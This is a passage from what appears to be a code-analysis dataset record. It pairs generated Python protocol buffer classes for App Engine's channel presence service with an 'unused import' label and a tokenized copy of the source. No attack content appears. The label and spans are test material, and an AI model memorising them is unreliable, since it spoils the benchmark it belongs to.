"header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 626 }, { "content": " def Equals(self, x):\n if x is self: return 1\n if len(self.application_key_) != len(x.application_key_): return 0\n for e1, e2 in zip(self.application_key_, x.application_key_):\n if e1 != e2: return 0\n if self.has_tag_ != x.has_tag_: return 0\n if self.has_tag_ and self.tag_ != x.tag_: return 0\n return 1", "metadata": "root.ChannelPresenceRequest.Equals", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 631 }, { "content": " def IsInitialized(self, debug_strs=None):\n initialized = 1\n return initialized", "metadata": "root.ChannelPresenceRequest.IsInitialized", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 640 }, { "content": " def ByteSize(self):\n n = 0\n n += 1 * len(self.application_key_)\n for i in xrange(len(self.application_key_)): n += self.lengthString(len(self.application_key_[i]))\n if (self.has_tag_): n += 1 + self.lengthString(len(self.tag_))\n return n", "metadata": "root.ChannelPresenceRequest.ByteSize", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 644 }, { "content": " def ByteSizePartial(self):\n n = 0\n n += 1 * len(self.application_key_)\n for i in xrange(len(self.application_key_)): n += self.lengthString(len(self.application_key_[i]))\n if (self.has_tag_): n += 1 + self.lengthString(len(self.tag_))\n return n", "metadata": "root.ChannelPresenceRequest.ByteSizePartial", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 651 }, { "content": " def Clear(self):\n self.clear_application_key()\n self.clear_tag()", "metadata": "root.ChannelPresenceRequest.Clear", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 658 }, { "content": " def OutputUnchecked(self, out):\n for i in xrange(len(self.application_key_)):\n out.putVarInt32(10)\n out.putPrefixedString(self.application_key_[i])\n if (self.has_tag_):\n out.putVarInt32(18)\n out.putPrefixedString(self.tag_)", "metadata": "root.ChannelPresenceRequest.OutputUnchecked", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 662 }, { "content": " def OutputPartial(self, out):\n for i in xrange(len(self.application_key_)):\n out.putVarInt32(10)\n out.putPrefixedString(self.application_key_[i])\n if (self.has_tag_):\n out.putVarInt32(18)\n out.putPrefixedString(self.tag_)", "metadata": "root.ChannelPresenceRequest.OutputPartial", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 670 }, { "content": " def TryMerge(self, d):\n while d.avail() > 0:\n tt = d.getVarInt32()\n if tt == 10:\n self.add_application_key(d.getPrefixedString())\n continue\n if tt == 18:\n self.set_tag(d.getPrefixedString())\n continue\n\n\n if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError\n d.skipData(tt)", "metadata": "root.ChannelPresenceRequest.TryMerge", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 678 }, { "content": " def __str__(self, prefix=\"\", printElemNumber=0):\n res=\"\"\n cnt=0\n for e in self.application_key_:\n elm=\"\"\n if printElemNumber: elm=\"(%d)\" % cnt\n res+=prefix+(\"application_key%s: %s\\n\" % (elm, self.DebugFormatString(e)))\n cnt+=1\n if self.has_tag_: res+=prefix+(\"tag: %s\\n\" % self.DebugFormatString(self.tag_))\n return res", "metadata": "root.ChannelPresenceRequest.__str__", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 693 }, { "content": " def _BuildTagLookupTable(sparse, maxtag, default=None):\n return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)])", "metadata": "root.ChannelPresenceRequest._BuildTagLookupTable", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 705 }, { "content": "class ChannelPresenceResponse_QueryResult(ProtocolBuffer.ProtocolMessage):\n has_application_key_ = 0\n application_key_ = \"\"\n has_is_available_ = 0\n is_available_ = 0\n has_error_code_ = 0\n error_code_ = 0\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n kapplication_key = 1\n kis_available = 2\n kerror_code = 3\n\n _TEXT = _BuildTagLookupTable({\n 0: \"ErrorCode\",\n 1: \"application_key\",\n 2: \"is_available\",\n 3: \"error_code\",\n }, 3)\n\n _TYPES = _BuildTagLookupTable({\n 0: ProtocolBuffer.Encoder.NUMERIC,\n 1: ProtocolBuffer.Encoder.STRING,\n 2: ProtocolBuffer.Encoder.NUMERIC,\n 3: ProtocolBuffer.Encoder.NUMERIC,\n }, 3, ProtocolBuffer.Encoder.MAX_TYPE)\n\n\n _STYLE = \"\"\"\"\"\"\n _STYLE_CONTENT_TYPE = \"\"\"\"\"\"\n _PROTO_DESCRIPTOR_NAME = 'apphosting.ChannelPresenceResponse_QueryResult'", "metadata": "root.ChannelPresenceResponse_QueryResult", "header": "['module', '___EOS___']", "index": 727 }, { "content": " def __init__(self, contents=None):\n if contents is not None: self.MergeFromString(contents)", "metadata": "root.ChannelPresenceResponse_QueryResult.__init__", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 735 }, { "content": " def application_key(self): return self.application_key_", "metadata": "root.ChannelPresenceResponse_QueryResult.application_key", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 738 }, { "content": " def set_application_key(self, x):\n self.has_application_key_ = 1\n self.application_key_ = x", "metadata": "root.ChannelPresenceResponse_QueryResult.set_application_key", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 740 }, { "content": " def clear_application_key(self):\n if self.has_application_key_:\n self.has_application_key_ = 0\n self.application_key_ = \"\"", "metadata": "root.ChannelPresenceResponse_QueryResult.clear_application_key", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 744 }, { "content": " def has_application_key(self): return self.has_application_key_", "metadata": "root.ChannelPresenceResponse_QueryResult.has_application_key", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 749 }, { "content": " def is_available(self): return self.is_available_", "metadata": "root.ChannelPresenceResponse_QueryResult.is_available", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 751 }, { "content": " def set_is_available(self, x):\n self.has_is_available_ = 1\n self.is_available_ = x", "metadata": "root.ChannelPresenceResponse_QueryResult.set_is_available", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 753 }, { "content": " def clear_is_available(self):\n if self.has_is_available_:\n self.has_is_available_ = 0\n self.is_available_ = 0", "metadata": "root.ChannelPresenceResponse_QueryResult.clear_is_available", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 757 }, { "content": " def has_is_available(self): return self.has_is_available_", "metadata": "root.ChannelPresenceResponse_QueryResult.has_is_available", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 762 }, { "content": " def error_code(self): return self.error_code_", "metadata": "root.ChannelPresenceResponse_QueryResult.error_code", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 764 }, { "content": " def set_error_code(self, x):\n self.has_error_code_ = 1\n self.error_code_ = x", "metadata": "root.ChannelPresenceResponse_QueryResult.set_error_code", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 766 }, { "content": " def clear_error_code(self):\n if self.has_error_code_:\n self.has_error_code_ = 0\n self.error_code_ = 0", "metadata": "root.ChannelPresenceResponse_QueryResult.clear_error_code", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 770 }, { "content": " def has_error_code(self): return self.has_error_code_", "metadata": "root.ChannelPresenceResponse_QueryResult.has_error_code", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 775 }, { "content": " def MergeFrom(self, x):\n assert x is not self\n if (x.has_application_key()): self.set_application_key(x.application_key())\n if (x.has_is_available()): self.set_is_available(x.is_available())\n if (x.has_error_code()): self.set_error_code(x.error_code())", "metadata": "root.ChannelPresenceResponse_QueryResult.MergeFrom", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 778 }, { "content": " def Equals(self, x):\n if x is self: return 1\n if self.has_application_key_ != x.has_application_key_: return 0\n if self.has_application_key_ and self.application_key_ != x.application_key_: return 0\n if self.has_is_available_ != x.has_is_available_: return 0\n if self.has_is_available_ and self.is_available_ != x.is_available_: return 0\n if self.has_error_code_ != x.has_error_code_: return 0\n if self.has_error_code_ and self.error_code_ != x.error_code_: return 0\n return 1", "metadata": "root.ChannelPresenceResponse_QueryResult.Equals", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 784 }, { "content": " def IsInitialized(self, debug_strs=None):\n initialized = 1\n if (not self.has_application_key_):\n initialized = 0\n if debug_strs is not None:\n debug_strs.append('Required field: application_key not set.')\n if (not self.has_is_available_):\n initialized = 0\n if debug_strs is not None:\n debug_strs.append('Required field: is_available not set.')\n if (not self.has_error_code_):\n initialized = 0\n if debug_strs is not None:\n debug_strs.append('Required field: error_code not set.')\n return initialized", "metadata": "root.ChannelPresenceResponse_QueryResult.IsInitialized", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 794 }, { "content": " def ByteSize(self):\n n = 0\n n += self.lengthString(len(self.application_key_))\n n += self.lengthVarInt64(self.error_code_)\n return n + 4", "metadata": "root.ChannelPresenceResponse_QueryResult.ByteSize", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 810 }, { "content": " def ByteSizePartial(self):\n n = 0\n if (self.has_application_key_):\n n += 1\n n += self.lengthString(len(self.application_key_))\n if (self.has_is_available_):\n n += 2\n if (self.has_error_code_):\n n += 1\n n += self.lengthVarInt64(self.error_code_)\n return n", "metadata": "root.ChannelPresenceResponse_QueryResult.ByteSizePartial", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 816 }, { "content": " def Clear(self):\n self.clear_application_key()\n self.clear_is_available()\n self.clear_error_code()", "metadata": "root.ChannelPresenceResponse_QueryResult.Clear", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 828 }, { "content": " def OutputUnchecked(self, out):\n out.putVarInt32(10)\n out.putPrefixedString(self.application_key_)\n out.putVarInt32(16)\n out.putBoolean(self.is_available_)\n out.putVarInt32(24)\n out.putVarInt32(self.error_code_)", "metadata": "root.ChannelPresenceResponse_QueryResult.OutputUnchecked", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 833 }, { "content": " def OutputPartial(self, out):\n if (self.has_application_key_):\n out.putVarInt32(10)\n out.putPrefixedString(self.application_key_)\n if (self.has_is_available_):\n out.putVarInt32(16)\n out.putBoolean(self.is_available_)\n if (self.has_error_code_):\n out.putVarInt32(24)\n out.putVarInt32(self.error_code_)", "metadata": "root.ChannelPresenceResponse_QueryResult.OutputPartial", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 841 }, { "content": " def TryMerge(self, d):\n while d.avail() > 0:\n tt = d.getVarInt32()\n if tt == 10:\n self.set_application_key(d.getPrefixedString())\n continue\n if tt == 16:\n self.set_is_available(d.getBoolean())\n continue\n if tt == 24:\n self.set_error_code(d.getVarInt32())\n continue\n\n\n if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError\n d.skipData(tt)", "metadata": "root.ChannelPresenceResponse_QueryResult.TryMerge", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 852 }, { "content": " def __str__(self, prefix=\"\", printElemNumber=0):\n res=\"\"\n if self.has_application_key_: res+=prefix+(\"application_key: %s\\n\" % self.DebugFormatString(self.application_key_))\n if self.has_is_available_: res+=prefix+(\"is_available: %s\\n\" % self.DebugFormatBool(self.is_available_))\n if self.has_error_code_: res+=prefix+(\"error_code: %s\\n\" % self.DebugFormatInt32(self.error_code_))\n return res", "metadata": "root.ChannelPresenceResponse_QueryResult.__str__", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 870 }, { "content": " def _BuildTagLookupTable(sparse, maxtag, default=None):\n return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)])", "metadata": "root.ChannelPresenceResponse_QueryResult._BuildTagLookupTable", "header": "['class', 'ChannelPresenceResponse_QueryResult', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 878 }, { "content": "class ChannelPresenceResponse(ProtocolBuffer.ProtocolMessage):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n kquery_result = 1\n\n _TEXT = _BuildTagLookupTable({\n 0: \"ErrorCode\",\n 1: \"query_result\",\n }, 1)\n\n _TYPES = _BuildTagLookupTable({\n 0: ProtocolBuffer.Encoder.NUMERIC,\n 1: ProtocolBuffer.Encoder.STRING,\n }, 1, ProtocolBuffer.Encoder.MAX_TYPE)\n\n\n _STYLE = \"\"\"\"\"\"\n _STYLE_CONTENT_TYPE = \"\"\"\"\"\"\n _PROTO_DESCRIPTOR_NAME = 'apphosting.ChannelPresenceResponse'", "metadata": "root.ChannelPresenceResponse", "header": "['module', '___EOS___']", "index": 903 }, { "content": " def __init__(self, contents=None):\n self.query_result_ = []\n if contents is not None: self.MergeFromString(contents)", "metadata": "root.ChannelPresenceResponse.__init__", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 905 }, { "content": " def query_result_size(self): return len(self.query_result_)", "metadata": "root.ChannelPresenceResponse.query_result_size", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 909 }, { "content": " def query_result_list(self): return self.query_result_", "metadata": "root.ChannelPresenceResponse.query_result_list", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 910 }, { "content": " def query_result(self, i):\n return self.query_result_[i]", "metadata": "root.ChannelPresenceResponse.query_result", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 912 }, { "content": " def mutable_query_result(self, i):\n return self.query_result_[i]", "metadata": "root.ChannelPresenceResponse.mutable_query_result", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 915 }, { "content": " def add_query_result(self):\n x = ChannelPresenceResponse_QueryResult()\n self.query_result_.append(x)\n return x", "metadata": "root.ChannelPresenceResponse.add_query_result", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 918 }, { "content": " def clear_query_result(self):\n self.query_result_ = []", "metadata": "root.ChannelPresenceResponse.clear_query_result", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 923 }, { "content": " def MergeFrom(self, x):\n assert x is not self\n for i in xrange(x.query_result_size()): self.add_query_result().CopyFrom(x.query_result(i))", "metadata": "root.ChannelPresenceResponse.MergeFrom", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 926 }, { "content": " def Equals(self, x):\n if x is self: return 1\n if len(self.query_result_) != len(x.query_result_): return 0\n for e1, e2 in zip(self.query_result_, x.query_result_):\n if e1 != e2: return 0\n return 1", "metadata": "root.ChannelPresenceResponse.Equals", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 930 }, { "content": " def IsInitialized(self, debug_strs=None):\n initialized = 1\n for p in self.query_result_:\n if not p.IsInitialized(debug_strs): initialized=0\n return initialized", "metadata": "root.ChannelPresenceResponse.IsInitialized", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 937 }, { "content": " def ByteSize(self):\n n = 0\n n += 1 * len(self.query_result_)\n for i in xrange(len(self.query_result_)): n += self.lengthString(self.query_result_[i].ByteSize())\n return n", "metadata": "root.ChannelPresenceResponse.ByteSize", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 943 }, { "content": " def ByteSizePartial(self):\n n = 0\n n += 1 * len(self.query_result_)\n for i in xrange(len(self.query_result_)): n += self.lengthString(self.query_result_[i].ByteSizePartial())\n return n", "metadata": "root.ChannelPresenceResponse.ByteSizePartial", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 949 }, { "content": " def Clear(self):\n self.clear_query_result()", "metadata": "root.ChannelPresenceResponse.Clear", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 955 }, { "content": " def OutputUnchecked(self, out):\n for i in xrange(len(self.query_result_)):\n out.putVarInt32(10)\n out.putVarInt32(self.query_result_[i].ByteSize())\n self.query_result_[i].OutputUnchecked(out)", "metadata": "root.ChannelPresenceResponse.OutputUnchecked", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 958 }, { "content": " def OutputPartial(self, out):\n for i in xrange(len(self.query_result_)):\n out.putVarInt32(10)\n out.putVarInt32(self.query_result_[i].ByteSizePartial())\n self.query_result_[i].OutputPartial(out)", "metadata": "root.ChannelPresenceResponse.OutputPartial", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 964 }, { "content": " def TryMerge(self, d):\n while d.avail() > 0:\n tt = d.getVarInt32()\n if tt == 10:\n length = d.getVarInt32()\n tmp = ProtocolBuffer.Decoder(d.buffer(), d.pos(), d.pos() + length)\n d.skip(length)\n self.add_query_result().TryMerge(tmp)\n continue\n\n\n if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError\n d.skipData(tt)", "metadata": "root.ChannelPresenceResponse.TryMerge", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 970 }, { "content": " def __str__(self, prefix=\"\", printElemNumber=0):\n res=\"\"\n cnt=0\n for e in self.query_result_:\n elm=\"\"\n if printElemNumber: elm=\"(%d)\" % cnt\n res+=prefix+(\"query_result%s <\\n\" % elm)\n res+=e.__str__(prefix + \" \", printElemNumber)\n res+=prefix+\">\\n\"\n cnt+=1\n return res", "metadata": "root.ChannelPresenceResponse.__str__", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 985 }, { "content": " def _BuildTagLookupTable(sparse, maxtag, default=None):\n return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)])", "metadata": "root.ChannelPresenceResponse._BuildTagLookupTable", "header": "['class', 'ChannelPresenceResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 998 } ]
[ { "span": "import array", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 12 }, { "span": "import dummy_thread as thread", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 29 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2007", " ", "Goo", "gle", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "google_", "._", "net_", "._", "proto_", "import_", "Proto", "col", "Buffer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "dummy", "\\u", "thread_", "as_", "thread_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "pyche", "cker", "\\u\\u_", "=_", "\"\"\"", "maxr", "etu", "rn", "s", "=", "0", " ", "max", "branch", "es", "=", "0", " ", "no", "-", "call", "init", "\\", "10", ";", " ", "unu", "sed", "names", "=", "print", "Ele", "m", "Number", ",", "debug", "\\u", "strs", " ", "no", "-", "special", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "Proto", "col", "Buffer_", ",_", "'", "Extend", "able", "Proto", "col", "Messag", "e", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "extensi", "on", "\\u", "runtime_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "Extend", "able", "Proto", "col", "Message_", "=_", "Proto", "col", "Buffer_", "._", "Extend", "able", "Proto", "col", "Message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "extensi", "on", "\\u", "runtime_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "Extend", "able", "Proto", "col", "Message_", "=_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "extensi", "on", "\\u", "runtime_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "[_", "'", "Chan", "nel", "Service", "Error", "'_", ",_", "'", "Creat", "e", "Chan", "nel", "Request", "'_", ",_", "'", "Creat", "e", "Chan", "nel", "Respons", "e", "'_", ",_", "'", "Sen", "d", "Messag", "e", "Request", "'_", ",_", "'", "Chan", "nel", "Presence", "Request", "'_", ",_", "'", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result", "'_", ",_", "'", "Chan", "nel", "Presence", "Respons", "e", "'_", "]_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "OK_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "INTERN", "AL", "\\u", "ERROR_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "INVALID", "\\u", "CHAN", "NEL", "\\u", "KEY_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "BAD", "\\u", "MESSAGE_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "INVALID", "\\u", "CHAN", "NEL", "\\u", "TOKEN", "\\u", "DURATION", "_", "=_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "APP", "ID", "\\u", "ALIAS", "\\u", "REQUIRED_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Error", "Code", "\\u", "NAMES_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "\"", "OK", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "\"", "INTERN", "AL", "\\u", "ERROR", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "\"", "INVALID", "\\u", "CHAN", "NEL", "\\u", "KEY", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "\"", "BAD", "\\u", "MESSAGE", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "4_", ":_", "\"", "INVALID", "\\u", "CHAN", "NEL", "\\u", "TOKEN", "\\u", "DURATION", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "5_", ":_", "\"", "APP", "ID", "\\u", "ALIAS", "\\u", "REQUIRE", "D", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Error", "Code", "\\u", "Name_", "=_", "classmethod_", "(_", "Error", "Code", "\\u", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 